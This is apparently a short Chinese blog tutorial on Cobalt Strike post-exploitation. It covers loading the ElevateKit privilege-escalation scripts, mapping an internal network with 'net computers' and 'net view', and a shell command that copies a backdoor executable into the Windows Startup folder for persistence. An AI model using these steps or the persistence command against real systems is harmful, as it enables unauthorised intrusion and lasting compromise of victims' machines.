首页 > 技术文章 > Cobalt Strike后渗透(2)提权脚本安装和内网渗透

trevain 2020-12-07 20:04 原文

下载脚本:https://github.com/rsmudge/ElevateKit

查看提权脚本:

 

 现在提权的方法少得可怜,只有两种:

 

 

我们下面开始加载脚本

打开cs脚本管理:

 

加载脚本

 

加载后这么多了:

 

 

 内网探针:

net computers  //内网探针

net view  //探针内网网络架构

 

 

所以探针到的目标都会再targer 这里

 

右击即可对目标进行内网攻击:

 

 

 

 

 

把后门加到开机启动:

shell copy sysi.exe "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

 

推荐阅读